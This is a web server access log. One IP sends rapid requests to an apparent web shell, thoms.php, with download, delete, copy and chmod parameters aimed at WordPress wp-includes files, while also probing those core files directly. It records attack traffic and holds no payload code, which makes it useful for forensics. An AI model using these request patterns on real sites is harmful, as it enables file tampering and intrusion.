45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?dl=class-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?del=sitemaps&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?dl=class-smtp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/assets/ HTTP/1.1" 200 879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?del=embed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=embed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /biotaiwan.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?del=abilities-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?dl=compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?dl=ms-load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /biotaiwan.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?del=theme-previews.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-smtp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-smtp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /biotaiwan.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /biotaiwan.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:04 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?del=compat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?dl=embed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fformatting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fformatting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?chmod=user.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?dl=vars.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:05 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?chmod=build&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=build&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-feed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-feed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /biotaiwan.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?del=class-wp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhttps-migration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhttps-migration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?dl=update.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /biotaiwan.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:06 -0400] "GET /thoms.php?del=utf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
